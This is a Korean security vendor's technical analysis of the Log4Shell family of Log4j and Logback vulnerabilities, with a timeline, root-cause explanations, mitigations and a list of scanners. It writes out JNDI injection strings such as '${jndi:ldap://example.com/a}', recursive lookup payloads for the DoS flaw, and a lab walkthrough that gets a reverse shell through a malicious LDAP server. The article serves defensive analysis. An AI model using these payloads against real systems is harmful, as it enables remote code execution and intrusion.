보안정보
전문화된 보안 관련 자료, 보안 트렌드를 엿볼 수 있는
차세대 통합보안관리 기업 이글루코퍼레이션 보안정보입니다.
Apache Log4j 취약점 분석 및 대응방안
2022.02.09
54,740
01. Apache Log4j의 개요
2021년 12월 9일 23시 25분 전세계 소프트웨어 생태계를 뒤흔들 게시글이 트위터에 업데이트 되었다. Alibaba Cloud’s Security의 @P0rZ9가 ‘Apache Log4j jndi RCE’라는 메시지와 함께 첨부한 ‘Restrict LDAP access via JNDI #608(https://github.com/apache/logging-log4j2/pull/608)’링크는 Apache Log4j사태의 서막을 알렸다. Log4Shell이라고도 불리는 CVE-2021-44228은 CVSS10.0(CRITICAL)로 Apache Log4j의 JNDI Injection 취약점이다. Apache의 오픈소스 로깅 라이브러리인 Log4j(log for java)는 콘솔 및 파일출력 형태의 로깅을 지원하고 XML, Properties로 환경구성이 가능해 다수의 소프트웨어에서 활용하고 있다.
Log4j이외에도 소프트웨어 동작 시에 시스템의 상태와 이벤트를 시간 경과에 따라 기록하는 로깅(Logging)관련 프레임워크는 LOGBACK, Log4j2 등이 있다. 2015년 EOS된 Log4j이후에는 Log4j를 기반으로 개발되어 사용법이나 설정방법이 유사한 LOGBACK이나 Log4j2가 Log4j의 자리를 대체하고 있다. LOGBACK은 Spring Boot환경에 기본 적용되어 Logj4에 비해 향상된 성능과 필터링 및 자동 리로드 기능 등을 지원하고 있다. Log4j2는 LOGBACK기능 이외에도 멀티스레드 환경에서 비동기 로거(Async Logger)시 Log4j나 LOGBACK에 비해 짧은 대기시간 및 높은 처리량을 제공 한다. 이러한 로깅의 기반에는 일정한 코드 유지 및 타 프레임워크로의 전환 등을 지원하는 추상화 계층인 slf4j(Simple Logging Facade For Java)를 통해 구현되게 된다.
[그림 1] Alibaba Cloud’s Security @p0rz9의 Apache Log4j2 JNDI RCE 트위팅 내용
02. Apache Log4j 영향도 및 타임라인
Apache Log4j 취약점은 CVE-2021-44228을 시작으로 CVE-2021-45046, CVE-2021-4104, CVE-2021-44832등 5개의 취약점이 보고되었으며, LOGBACK에서도 CVE-2021-42550 취약점이 추가로 보고되는 등 Apache Log4j 사태는 현재진행형이다. CVE-2021-44228 공개 이후 Apache Log4j의 소스코드 리뷰 등으로 역직렬화(Deserialization), 서비스 거부 공격(DoS, Denial of service), RCE(Remote Command Execution) 취약점이 추가로 발견됨에 따라 당분간은 Apache Log4j의 영향이 지속될 것으로 보인다.
구분 |
영향받는 버전 |
업데이트 버전 |
CVE |
CVSS |
취약점 설명 |
Apache Log4j 1.X |
Log4j 1.2 ~ 1.2.17 |
Log4j2.x로 업데이트 권고 (2015.08.05. EOS) |
CVE-2019-17571 |
9.8 |
데이터 역직렬화 (SocketServer) |
Log4j = 1.2.x |
CVE-2021-4104 |
8.1 |
데이터 역직렬화 (JMSAppender) |
||
Apache Log4j 2.X |
Log4j 2.x <= 2.15.0-rc1 |
Log4j 2.15.0 |
CVE-2021-44228 |
10.0 |
RCE |
Log4j 2.0-beta9 ~ 2.12.1 Log4j 2.13.0 ~ 2.15.0 |
Log4j 2.16.0 |
CVE-2021-45046 |
9.0 |
DoS, RCE |
|
Log4j 2.0-alpha1 ~ 2.16.0 (2.12.3 제외) |
Log4j 2.17.0 |
CVE-2021-45105 |
7.5 |
DoS |
|
Log4j 2.0-beta7 ~ 2.17.0(보안수정패치 2.3.2과 2.12.4제외) |
Log4j 2.17.1 2.12.4, 2.3.2 |
CVE-2021-44832 |
6.6 |
RCE |
|
LOGBACK |
LOGBACK < 1.2.28 |
LOGBACK 1.2.9 |
CVE-2021-42550 (LOGBACK-1591) |
6.6 |
RCE |
[표 1] Apache Log4j 취약점 관련 영향받는 버전 목록
Apache Log4j 취약점 공개 이후 전세계 소프트웨어 시장이 요동치는 것은 CVE-2021-44228가 RCE취약점이라는 점도 있지만 구조적인 특성에서 그 해답을 찾을 수 있다. 클래스 A가 클래스 B에 의존하고 클래스 B가 클래스 C에 의존하는 구조라면 결과적으로 클래스 A가 클래스 C에 의존하게 되는 추이 종속성(Transitive Dependency)구조이기 때문이다. 이와 같은 구조는 취약한 버전의 Apache Log4j를 사용하는 경우에는 연쇄적으로 취약점에 종속되기 때문에 취약점의 영향도는 훨씬 높아질 수 밖에 없다.
[그림 2] 취약한 Apache Log4j로 인해 영향받는 패키지 수치 (출처 : https://deps.dev/advisory/GHSA/GHSA-7rjr-3q55-vv33)
JNDILookup plugin(LOG4J2-313)기능이 추가 된지 8년 후인 지난 2021년에 공개된 취약점인 Log4Shell(CVE-2021-44228)는 취약점이 공개된 이후 중국, 이란, 북한, 터키 등에서 취약점을 이용한 사이버 공격이 급증함에 따라 Apache Log4j 취약점에 대한 이해와 대응전략이 필요하다.
일자 |
주요내용 |
비고 |
2013.09.21 |
Apache Log4j 2.0-beta9에 JNDI Injection을 유발하는 JNDILookup plugin(LOG4J2-313)기능 추가 |
https://blogs.apache.org/logging/entry/apache_log4j_2_0_beta9 |
2015.08.05 |
Apache Log4j 1.x 서비스 종료(EOS) |
https://blogs.apache.org/foundation/entry/apache_logging_services_project_announces |
2021.11.24 |
Alibaba Cloud's Security의 Chen Zhaojun이 Apache에 보안취약점 제보 |
https://www.npr.org/2021/12/10/1063278227/minecraft-software-flaw |
2021.11.30 |
GitHub에 Restrict LDAP access via JNDI #608 공개 |
https://github.com/apache/logging-log4j2/pull/608 |
2021.12.09 |
Alibaba Cloud's Security @p0rz9의 Twitter를 통해 Log4j JNDI RCE 취약점 공개(CVE-2021-44228, Log4Shell) |
현재 트위터 게시글 삭제 |
2021.12.09 |
Log4Shell : RCE 0-day exploit found in log4j 2, a popular Java logging package |
|
2021.12.10 |
GitHub에서 운영하는 GitHub Advisory Database에 CVE-2021-44228 취약점 게재 |
https://github.com/advisories/GHSA-jfh8-c2jp-5v3q |
마인크래프트(Minecraft) 기술책임자의 트위터를 통해 취약점 패치현황 공지 |
https://twitter.com/slicedlime/status/1469150993527017483 |
|
NCSC-NL에서 Apache Log4j를 사용하는 다수의 서비스에서 영향받는 서비스에 대한 보안공지(4천여개 벤더 취약점 영향도 공개) |
https://github.com/NCSC-NL/log4shell/blob/main/software/README.md |
|
2021.12.11 |
CVE-2021-44228에 대한 보안 패치 발표(Log4j 2.15.0) |
https://logging.apache.org/log4j/2.x/security.html |
2021.12.12 |
미라이(Mirai) 봇넷, 무스틱(Muhstik) 랜섬웨어, 크립토재킹(Kinsing) 공격 급증 |
|
2021.12.14 |
MSTIC에서 CVE-2021-44228을 악용하여 중국, 이란, 북한, 터키 등의 APT 공격 활동 발견 이란(PHOSPHORUS) : 랜섬웨어 배포 및 Log4j Exploit 활용, 중국(HAFNIUM) : 가상화 인프라 공격 |
https://github.com/curated-intel/Log4Shell-IOCs |
2021.12.15 |
Log4j 1.2 버전에서 JMSAppender로 인한 취약점 (CEV-2021-4104) 공개 |
|
2021.12.15 |
Log4j 2.15.0에서 JNDI조회 패턴 사용시 무한루프가 발생하는 취약점(DoS, CVE-2021-45046)공개 및 보안 패치 발표(Log4j 2.16.0) |
https://logging.apache.org/log4j/2.x/security.html |
2021.12.16 |
LOGBACK(CVE-2021-42550, LOGBACK-1591) 보안 패치 발표(LOGBACK 1.2.9) |
http://LOGBACK.qos.ch/news.html 2021.12.23기준 1.2.10(최신버전) |
2021.12.18 |
Log4j 신규 취약점(CVE-2021-45105) 공개 및 보안 패치 발표(Log4j 2.17.0) |
https://logging.apache.org/log4j/2.x/security.html |
2021.12.22 |
CISA, FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, NCSC-UK에서 Apache Log4j SW취약점 해결 및 완화지침을 담은 공동 사이버 보안권고를 발표 |
|
2021.12.28 |
Log4j 신규 취약점(CVE-2021-44832) 공개 및 보안패치 발표(Log4j 2.17.1) |
https://logging.apache.org/log4j/2.x/security.html |
[표 2] Apache Log4j 취약점 관련 타임테이블
03. Apache Log4j 상세분석
1) CVE-2021-44228 : Apache Log4j 2.X
Apache Log4j 사태의 포문을 연 CVE-2021-44228 취약점은 2013년 Log4j2 version 2.0-beta9부터 도입된 ‘JNDILookup plugin(LOG4J2-313)’기능을 활용해 JNDI가 ‘${jndi}’명령에 특정 서식이 포함된 로그 메시지를 받게되면 JNDI Injection이 발생되는 취약점이다.
[그림 3] Log4j2 version 2.0-beta9에 적용된 LOG4J2-313기능 (출처 : https://logging.apache.org/log4j/2.x/changes-report.html#a2.0-beta9)
JNDI는 자바에서 디렉토리를 이용하여 데이터를 호출할 수 있게 해주는 디렉토리 서비스(Directory Service)다. JNDI는 다양한 디렉토리 서비스를 이용할 수 있게 하는 CORBA COS, Java RMI Registry, LDAP등의 SPI를 제공한다. 공격자는 LDAP URL을 컨트롤하여 자신의 통제 하에 Java 프로그램을 실행시켜 오브젝트를 로드할 수 있게 되는데 CVE-2021-44228 취약점은 이점을 공격에 활용하게 된다.
JNDI(Java Naming and Directory Interface)
· Java프로그램이 디렉토리를 통해 데이터(Java객체형태)를 찾을 수 있도록 하는 디렉토리 서비스
· Java 애플리케이션이 조회를 수행하고 LDAP, RMI, DNS 등과 같은 프로토콜을 사용하여 Java 객체를 검색할 수 있도록 하는 Java API
· 애플리케이션이 RMI 레지스트리에 등록된 원격 객체 또는 LDAP와 같은 디렉토리 서비스와 상호 작용할 수 있는 API를 제공
[표 3] JNDI 개념 및 동작구조 (출처 : https://docs.oracle.com/javase/tutorial/jndi/overview/index.html)
예를 들어 하나의 Java 프로그램에서 JNDI와 LDAP을 사용해 Java 오브젝트를 호출하는 경우 [그림 4]와 같이 ‘ldap://localhost:389/o=JNDITutorial’라는 구문을 통해 LDAP서버에서 JNDITutorial 오브젝트를 찾아 속성을 읽어들이게 된다.
[그림 4] Java에서 JNDI와 LDAP을 함께 사용해서 필요한 데이터가 포함된 Java 오브젝트를 찾는 방법 (출처 : https://docs.oracle.com/javase/jndi/tutorial/getStarted/examples/directory.html)
Log4Shell취약점을 사용하는 경우 ‘${jndi:ldap://example.com/a}’의 문자열을 통해 LDAP URL을 제어할 수 있게 된다. 이와 같은 공격기 가능한 이유는 Log4j의 Syntax중에 ${prefix:name}와 같이 접두사(prefix)의 Lookup을 통해 name을 가져오는 기능이 존재하기 때문이다. 예를 들어 ${java:version}인 경우에는 JAVA버전을 의미하게 되며, 특수 구문이 ${prefix:name} 형태로 포함되어 있는 경우 prefix를 통해 서로 다른 다수의 Lookup 중 하나를 호출할 수 있게 된다.
[그림 5] Log4j에서 지원하는 ${prefix:name} 구문 목록 (출처 : https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution)
LOG4J2-313에서는 JNDI를 통해서 변수를 호출할 수 있는 JndiLookup으로 공격이 실행되게 된다. 기본적으로 key에는 ‘java:comp/env/’가 접두사로 붙게 되지만 ‘:’값이 존재하는 경우 접두사가 불필요하게 된다. 결국 ‘${jndi:ldap://example.com/a}’와 같이 키에 ‘:’를 포함하면 접두사 없이도 LDAP서버에서 오브젝트에 대한 쿼리를 받고 Lookup은 Log4j구성에서 뿐만 아니라 로깅 시에도 사용이 가능하게 된다.
[그림 6] JNDI Lookup 기능 설명 (출처 : https://logging.apache.org/log4j/log4j-2.3/manual/lookups.html#JndiLookup)
결론적으로 JndiLookup은 Lookup의 하나로 ${jndi:xxxx}라는 변수를 JNDI로 xxxx를 lookup한 값을 출력하게 되며, CVE-2021-44228을 유발하는 JNDI Injection이 이용되면서 임의로 코드가 실행되게 되게 된다. 일반적으로 앞서 설명한바와 같이 LDAP을 활용한 원격 호스트 URL에 연결한 공격이 주로 수행되지만 MSTIC에 따르면 중국, 이란, 북한 및 터키 등 여러 국가 해킹그룹에서 On-Premise, 클라우드 등 다양한 인프라 환경에서 사용 중인 Log4j 공격벡터의 대응이 필요하다.
[그림 7] AWS환경에서 CVE-2021-44228 취약점을 활용한 공격 구성 (출처 : SOPHOS Labs)
CVE-2021-44228은 [표 4]와 같이 주로 HTTP Header의 거의 모든 요소에 JNDI공격을 수행할 수 있다. 일반적으로 공격자들이 LDAP을 주로 이용함에 따라 JNDI와 LDAP의 조합을 통해서 취약점이 발현되는 사례에 대해서 분석해보고자 한다. [그림 8]는 JNDI와 LDAP서버를 활용한 CVE-2021-44228취약점에 대한 공격 구성도다.
[표 4] HTTP Header의 구성요소에 JNDI 공격명령 적용 사례 (출처 : https://news.sophos.com/en-us/2021/12/12/log4shell-hell-anatomy-of-an-exploit-outbreak/)
[그림 8] LDAP을 이용한 CVE-2021-44228 취약점 공격 구성도 (출처 : Radware)
1-1) 취약한 Apache Log4j2가 사용된 프로그램 공격 시나리오 (마인크래프트, Minecraft)
구분 |
사용된 버전 |
Attacker |
Kali-Linux-2021.4-vmware-amd64 |
Victim |
Windows 10 Version 2004, Minecraft 1.8.8, Paper Server 1.8.8-433 |
① 취약한 Log4j 버전을 사용하는 마인크래프트 게임서버 접속 이후 채팅창에 공격 코드 입력
② 마인크래프트 게임서버 로그에서 공격자가 입력한 공격코드와 동일한 내용 확인 가능
③ LDAP 서버를 이용하여 피해자에게 공격코드 전달
④ 공격코드가 발현되어 피해자 시스템에서 계산기 실행 확인
1-2) 악의적인 LDAP을 이용한 공격 시나리오
① spring-boot-starter-log4j2 2.6.1기반 공격대상 구성(피해자 : 192.168.63.129)
· Log4Shell sample vulnerable application (CVE-2021-44228) : https://github.com/christophetd/log4shell-vulnerable-app
· 환경구성 : Log4j 2.14.1, spring-boot-starter-log4j2 2.6.1, JDK 1.8.0_181
② 공격대상의 경우 Request Header 중 ‘X-Api-Version’값을 Log4j의 logger.info();에서 트리거 될 수 있도록 구현
③ JNDI-Injection-Exploit에서 Reverse shell옵션으로 LDAP서버 구동(공격자 : 192.168.63.128)
· JNDI-Injection-Exploit : https://github.com/welk1n/JNDI-Injection-Exploit
④ 공격대상이 악의적인 LDAP서버(ldap://192.168.63.128:1389/peikfx)에 접근할 수 있도록 Reverse Shell을 실행 후 ‘X-Api-Version’값에 공격코드 삽입(공격자 : 192.168.63.128)
⑤ 공격성공 후 Reverse Shell을 통해서 공격대상(192.168.63.129)서버에 명령어 실행 가능
⑥ JNDI-Injection-Exploit을 사용 시에 ‘–C’옵션에 입력하는 공격 명령어에 따라 다양한 공격 가능
2) CVE-2021-45046 : Apache Log4j 2.X
CVE-2021-45046은 Log4j2 Log4j 2.0-beta9 ~ 2.12.1 및 Log4j 2.13.0 ~ 2.15.0에 영향을 미치며, 로깅 구성에서 기본 로깅이 아닌 컨텍스트 조회(Context Lookup, 예시 : $${ctx:loginId}) 또는 Thread Context Map(%X, %mdc, %MDC)이 포함 된 패턴 레이아웃(Pattern Layout)을 사용하는 경우 JNDI Lookup 패턴을 이용하여 입력 데이터 조작을 통해 공격에 성공하게 된다.
최초 취약점 보고 시에는 CVSS가 3.7로 평가되었으나 RCE와 LCE(Local Code Execution)취약점이 추가로 발견되어 9.0으로 상향조정되었다. 이로 인해 Log4j 2.15.0에서는 DoS 공격의 영향도가 존재하며, 2.14.1이하에서는 NO_LOOKUPS를 설정한 경우 RCE공격이 가능하게 된다. Log4j 2.15.0에서는 기본적으로 JNDI Lookup기능을 localhost에서만 사용하도록 제한하였다.
[그림 9] CVE-2021-45046 취약점 완화 방안
CVE-2021-45046 취약점을 이용해 공격시에는 CVE-2021-44228에서 사용한 공격도구를 이용하여 RCE공격이 가능하게 된다. 앞선 설명과 마찬가지로 log4j2.formatMsgNoLookups 패턴 레이아웃이 스레드 컨텍스트 값에 대한 참조를 포함하도록 수정되어 있기 때문에 서버가 활성화된 상태에서 여전히 취약하게 되며, 이러한 방식으로 스레드 컨텍스트(ThreadContext)값을 참조하면 메시지 형식을 지정할 때 JNDI조회를 비활성화하는 논리표현을 우회할 수 있게 된다.
[그림 10] CVE-2021-45046 취약점 수행 결과
(출처 : https://twitter.com/LunaSecIO/status/1470871128843251716/photo/1)
Log4j 2.15.0에서 ${ctx:apiversion}가 무한루프를 돌기 때문에 Dos공격이 발생하게 되지만, Log4j2 2.16.0에서는 ‘removing support for message lookup patterns and disabling JNDI functionality by default’해당 기능을 Default로 Disable하여 취약점이 발현되지 않는다. (결과적으로 Logj4 2.16.0 이상인 경우에는 PatternLayout속성을 %m으로 사용해도 자동으로 nolookups로 처리되어 취약점 대응가능)
해당 취약점을 해결하기 위해서는 가장 좋은 방법은 보안업데이트를 수행하는 것이다. 하지만 즉시 업데이트가 어려운 경우 Log4j 2.0-beta9 ~ 2.10.0의 경우에는 JndiLookup클래스를 제거(zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class)하거나, Log4j 2.10 ~ 2.14.1인 경우에는 환경변수‘log4j2.formatMsgNoLookups’ 또는 시스템 속성 ‘LOG4J_FORMAT_MSG_NO_LOOKUPS’를 true로 설정하면 된다.
3) CVE-2021-45105 : Apache Log4j 2.X
CVE-2021-45105는 Log4j 2.0-alpha1 ~ 2.16.0(2.12.3 제외)에 영향을 미친다. 로깅구성이 Context Lookup과 함께 기본이 아닌 패턴 레이아웃(예시 : ${ctx:loginId}, ${ctx:apiversion} 등)을 사용하는 경우 Thread Context Map(MDC) 입력 데이터를 제어하는 공격자는 재귀 조회(Recursive lookup)가 포함된 악의적인 입력 데이터를 삽입할 수 있게 된다. 이로 인해 StackOverflow 오류가 발생하여 프로세스가 종료 될 수 있게 된다.
취약점을 이해하기 위해서는 Lookups에서 문자열을 대체하는 방법에 대한 이해가 필요하다. log4j-core의 StrSubstitutor 및 StrLookup 클래스는 ${ctx:username}과 같은 패턴 레이아웃 내에서 만들어진 Lookups구문을 분석한다. 중첩된 변수가 StrSubstitutor클래스로 대체될 때 substitute()메서드가 재귀적으로 호출되며, 중첩 변수가 변수 자체를 참조하는 경우 프로세스가 충돌을 발생시키면서 무한재귀를 유발하게 된다.
ThreadContext의 username 변수를 ${ctx:username} 문자열로 설정하면 Substitutor를 위해 다음의 단계가 생성되면서 무한루프가 발생되게 된다.
· ${ctx: }은 ThreadContext 맵(ctx)에서 콜론(:)뒤에 값인 username을 찾도록 지시하게 된다.
· 결과적으로 Substitutor는 ThreadContext 맵에서 값이 ${ctx:username}인 username의 변수를 찾게되고 username 변수의 이름을 대체하게 된다.(이 과정에서 패턴 레이아웃 자체에서와 동일한 문자열을 사용하게 되면서 문제가 발생되게 된다.)
· 패턴 레이아웃의 문자열은 ${ctx:username}과 동일하게 유지되므로 Substitutor는 ThreadContext에서 username변수의 값을 가져오는 과정을 통해 무한루프를 반복해서 수행하게 된다.
기존에 CVE-2021-45046의 경우에는 어플리케이션의 충돌 시에 StrSubstitutor의 checkCyclicSubstitution메소드 덕에 java.lang.IllegalStateException가 발생되었다. CVE-2021-45105에서는 Log4j에서 탐지되지 못한 Lookup 형식이 존재하다는 것을 확인하였으며, Default 조회패턴(Lookup Pattern)으로 인해 java.lang.StackOverflowError가 발생되면서 DoS가 발생되게 된다.
${lookupName:key:-defaultValue}
· lookupName : 수행할 lookup 이름 또는 유형(예시 : etx, env등) · Key : 해당 맵 객체에서 찾을 변수 이름(ctx의 경우 ThreadContext Map) · defaultValue : 키(key)가 맵에 존재하지 않는 경우 대체자(substitutor)에게 Lookup 인스턴스 대신 무엇을 넣을지 알려주는 선택적인 값 |
[표 4-5] 조회패턴(Lookup pattern) 구조
Log4j 2.16.0 이하 버전에서 코드(https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/StrSubstitutor.java)를 분석하며 CVE-2021-45105취약점에 대해서 좀 더 자세히 살펴보고자 한다. 예를 들어 패턴 레이아웃에 Context Lookup이 포함되어 있는 경우에는 ${ctx.apiversion}으로 할당된 값이 ${${ctx.apiversion}}로 재귀적으로 대체되게 된다.
① StrSubstitutor.substitute()메소드를 대체할 변수와 함께 호출
② StrSubstitutor.substitute()메소드는 원래 Lookup변수(ctx.apiversion)과 함께 호출
③ StrSubstitutor.substitute() 메소드 호출 시 StrSubstitutor.checkCyclicSubstitution()에 대한 호출 수행
④ checkCyclicSubstitution()은 priorVariables 목록을 유지 관리 하고 현재 변수 목록과 비교하여 변수의 순환 치환을 확인하려고 시도
⑤ 이후 변수가 해당 값(${${ctx:apiversion}})을 확인하고, StrSubstitutor.substitute()에 대한 재귀 호출을 수행
⑥ StrSubstitutor.substitute() 재귀호출에는 priorVariables 목록이 포함되지 않아 StrSubstitutor.checkCyclicSubstitution( )메서드는 순환 치환 검출에 실패하여 무한 재귀가 발생
⑦ StrSubstitutor에 순환 치환이 검출되더라도checkCyclicSubstitution()에서 발생된 예외는 AppenderControl.TryCallAppender()에서 처리되면서 결과적으로 로그에 대한 쓰기는 실패하게 됨 (https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/config/AppenderControl.java)
CVE-2021-45105 취약점이 존재하는 환경에서 Context Lookup시에 ${${ctx:apiversion}}을 포함하는 사용자 정의 패턴 레이아웃을 구성하는 경우에는 다음과 같은 메시지를 출력하며 충돌이 발생되게 된다.
[그림 11] CVE-2021-45105 취약버전(좌), 보안패치된 Log4j 2.17.0버전(우)
CVE-2021-45105 취약점이 패치된 Log4j 2.17.0버전에서는 StrSubstitutor에서 상속하는 2개의 클래스가 생성되었다. ConfigurationStrSubstitutor에서는 구성 매개변수의 문자열 치환만 파싱하고, RuntimeStrSubstitutor에서는 사용자가 입력한 문자열을 파싱한다. RuntimeStrSubstitutor를 사용하게 되는 경우에는 재귀 호출에 대해서 허용하지 않고 StrSubstitutor.substitute() 메소드에 의해서 실행되게 된다.
[그림 12] CVE-2021-45105 취약버전(좌), 보안패치된 Log4j 2.17.0버전(우)
또한 StrSubstitutor.substitute()에 대한 모든 재귀호출은 priorVariables의 목록을 유지하므로 StrSubstitutor.isCyclicSubstitution()메소드에 의한 순환치환의 경우를 발견할 수 있게 된다.
[그림 13] CVE-2021-45105 취약버전(좌), 보안패치된 Log4j 2.17.0버전(우)
4) CVE-2021-44832 : Apache Log4j 2.X
CheckMarx의 Yaniv Nizry에 의해 공개된 CVE-2021-44832은 로깅 구성파일의 수정권한이 존재하는 상태에서 공격자가 RCE공격을 수행할 수 있는 취약점으로 원격코드를 실행할 수 있는 JNDI URI를 참조하는 데이터소스(DataSource)와 JDBCAppender를 사용하여 취약점 유발하게 된다. Log4j에서 로그파일을 작성하는 클래스인 Logger에서 전달된 메시지의 출력위치를 지정하는 Appender 중 JDBC 자바 직렬화를 수행하는 JDBC Appender를 활용하게 된다. Log4j에서는 JDBCAppender이외에도 ConsoleAppenser, FeilAppender, RollingFileAppender, NTEventAppender 등의 클래스가 존재한다.
Log4j에서 JDBC 역직렬화를 수행하기 위해서는 JNDI를 통해 데이터베이스 소스를 이용해 임의의 LDAP 원격 URL을 결합하여 역직렬화를 유발하는 공격에 활용한다. ‘
[표 6] log4j2.xml 기본설정 환경
취약점이 유발되는 JNDI lookup이 트리거되는 구문인 ‘DataSource dataSource = (DataSource)context.lookup(jndiName);’은 PluginBuilder에서 DataSourceConnectionSource->createConnectionSource를 호출하며 해당 과정에서 역직렬화(Deserialization)가 발생하게 된다.
[그림 14] context의 lookup메서드를 이용해 jndiDataSource 객체를 활용하는 예시
[그림 15] CVE-2021-44832 공격 구성도(출처 : Checkmarx)
CVE-2021-44832 공격이 수행되기 위해서는 다음 단계로 구성된다.
① HTTP를 통해 원격설정을 호출
② log4j2.xml에서 LDAP경로를 DataSource에 설정
③ CVE-2021-44228의 PoC환경과 같이 LDPA서버를 사용하여 아래 코드를 실행
④ PoC코드 실행결과 공격자가 삽입한 페이로드가 실행
5) CVE-2021-4104 : Apache Log4j 1.X
Apache Log4j 1.2.x의 JMSAppender는 신뢰할 수 없는 데이터의 역직렬화 취약점을 통해 공격이 발생된다. 디폴트 구성은 JMSAppender 기능이 미사용(JMSAppender를 사용하도록 구성되어 있는 애플리케이션에만 영향)으로 설정되어 있으며, org.apache.log4j.net.JMSAppender 기능을 사용하기 위해선 JMS API와 JNDI필요하다. CVE-2021-44228과 유사한 방식으로 원격 코드 실행을 발생시키는 JNDI 요청을 수행하면서 취약점이 발현되게 된다. JMSAppender를 사용여부는 해당 파일내용 확인 (log4j.properties , logger.xml, logging.properties)이 가능하다.
공격을 위한 전제조건(https://security.snyk.io/vuln/SNYK-JAVA-LOG4J-2316893)은 아래 명시된 조건이 모두 충족되야 해서 공격 영향도가 타 Logj4 취약점에 비해 상대적으로 낮다고 볼 수 있다.
1) JMSAppender 활성화 상태 (또는 JMSAppender 확장 클래스) 2) TopicBindingName, TopicConnectionFactoryBindingName 구성변수를 직접 수정 가능한 접근권한을 보유한 경우 |
[표 7] CVE-2021-4104 취약점 발현 전제조건
[그림 16] 조건충족 시 Log4j RCE 취약점 활용 가능(출처 : https://github.com/apache/logging-log4j2/pull/608#issuecomment-991723301)
JMSAppender역직렬화 기반인 CVE-2021-4104 취약점은 공격에 성공시에 [그림 17]과 같이 공격코드실행이 가능하며 [그림 18]과 같이 JMSAppender에 관련된 에러 메시지를 확인할 수 있다.
[그림 17] CVE-2021-4104 Apache Log4j 1.x JNDI injection RCE involving JMSAppender by Xu Yuanzhen
[그림 18] CVE-2021-4104 취약점 공격시 발생되는 로그결과
6) CVE-2021-42550 : LOGBACK
Logback은 log4j 1.x 버전을 기반으로 개발한 로깅 라이브러리로 공격자가 Logback의 설정파일에 접근 및 쓰기가 가능한 경우, JMSAppender를 통해 JNDI lookup을 실행할 수 있는 CVE-2021-42550취약점이 존재한다.
CVE-2021-44832와 마찬가지로 CVE-2021-42550취약점을 이용한 공격을 위한 성공하기 위해서는 아래와 같은 전제조건이 필요하다. (http://logback.qos.ch/news.html, https://repo1.maven.org/maven2/ch/qos/logback/)
1) 공격자는 사전에 로그백 설정 파일(logback.xml)에 접근 및 쓰기 권한필요 2) 공격자가 변조한 설정 파일(logback.xml)이 시스템에 적용되어야 함(변조된 설정 파일 배치 후 시스템 재기동 or Scan="true"로 설정 필요) 3) Logback 1.2.9 이전 버전 사용 |
[표 8] CVE-2021-42550 취약점 발현 전제조건
04. Apache Log4j 취약점 점검방안
인터넷상에 공개된 포터블형태의 취약점 점검도구들을 확인해본 결과 점검도구마다 일부 제약조건들이 존재하기 때문에 Local방식과 Remote방식 모두 사용하여 점검하기를 권고하며, 일부 점검도구의 경우 취약한 버전을 사용 중임에도 점검도구별 점검방식의 차이로 인해 미취약으로 뜨는 경우가 있기 때문에 다수의 점검도구를 이용한 크로스체크가 필요하다.(단독도구 사용시 오탐 발생 가능성 높음)
또한 Apache Log4j 취약점을 대응하기 위해서 자사 보안솔루션(SPiDER TM, CTI, SmartGuard)를 이용한 대응방안은 “5. Special Column내에 Apache Log4j 취약점 대응을 위한 솔루션 적용방안’을 통해 보다 자세한 내용을 확인 할 수 있다. (해당 내용은 사건 당시 자사 고객에게 기 배포된 이글루시큐리티 보안공지 내용이 포함)
구분 |
구동환경 |
점검 시 고려사항 |
Local |
점검대상과 점검도구 위치가 동일한 경우 |
· 일부 도구의 경우 Python등 별도 설치 필요 · 점검도구마다 취약여부를 판단하는 기준이 상이함에 따라 다수의 도구를 이용해 크로스 점검이 필요 · Local 점검도구 상당수는 ‘log4j-api-2.13.0.jar’, ‘log4j-core-2.14.0.jar’와 같이 버전명을 기반으로 특정경로의 파일 및 설정파일(pom.xml등) 문자열을 검색하기 때문에 취약한 버전을 사용 중이나 버전명 미명시 등 변경해서 사용하면 검색되지 않을 가능성 존재 |
Remote |
점검대상과 점검도구 위치가 상이한 경우 |
· 일부 도구의 경우 Burp Suite Pro버전만 사용가능 (Burp Suite Pro : 유료, Burp Suite Community Edition : 무료) |
[표 9] Apache Log4j 취약점 점검도구
NO |
제공 |
구동환경 |
지원환경 |
비고 |
URL |
1 |
LOGPRESSO |
Local |
Windows, Linux/UNIX |
CVE-2021-45046, CVE-2021-45105, CVE-2021-44832, CVE-2021-4104, CVE-2021-42550 취약점 진단 가능 |
https://github.com/logpresso/CVE-2021-44228-Scanner |
2 |
PortSwigger |
Remote |
ALL |
BurpSuite Pro필요 1.0.23(20211210)에서 CVE-2021-44228 취약점 진단 가능 |
https://github.com/PortSwigger/active-scan-plus-plus |
3 |
silentsignal |
Remote |
ALL |
BurpSuite Pro2.X필요 CVE-2021-44228 취약점 진단 가능 |
https://github.com/silentsignal/burp-log4shell |
4 |
RCE scanner for Log4j |
Remote |
ALL |
CVE-2021-44228 취약점 진단 가능 |
https://github.com/adilsoybali/Log4j-RCE-Scanner |
5 |
LabradorLog4ShellDetector |
Local |
ALL |
최신버전 : LabradorLog4ShellDetector 1.3.1 CVE-2021-44228, CVE-2021-45046 취약점 진단 가능 |
https://labrador.iotcube.com/scanner/LabradorLog4ShellDetector.jar |
6 |
log4j-scan |
Remote |
ALL |
Python3 필요 CVE-2021-44228, CVE-2021-45046 취약점 진단 가능 |
https://github.com/fullhunt/log4j-scan |
7 |
lunasec |
Local |
Windows, Linux/UNIX |
최신버전 : 1.5.0 |
https://github.com/lunasec-io/lunasec/releases/ |
8 |
logmap |
Remote |
ALL |
Python3 필요 CVE-2021-44228, CVE-2021-45046 취약점 진단 가능 Log4j2 jndi injection fuzz tool |
https://github.com/zhzyker/logmap |
9 |
estsecurity |
Local |
Windows, Linux |
CVE-2021-44228, CVE-2021-45046, CVE-2021-4104, CVE-2021-42550, CVE-2021-45105 취약점 진단 가능 |
https://blog.alyac.co.kr/4357 |
10 |
CERT/CC |
Local |
Windows |
CVE-2021-44228 취약점 진단 가능 |
https://github.com/CERTCC/CVE-2021-44228_scanner |
[표 10] Apache Log4j 취약점 점검도구 목록
05. Apache Log4j 취약점 대응방안
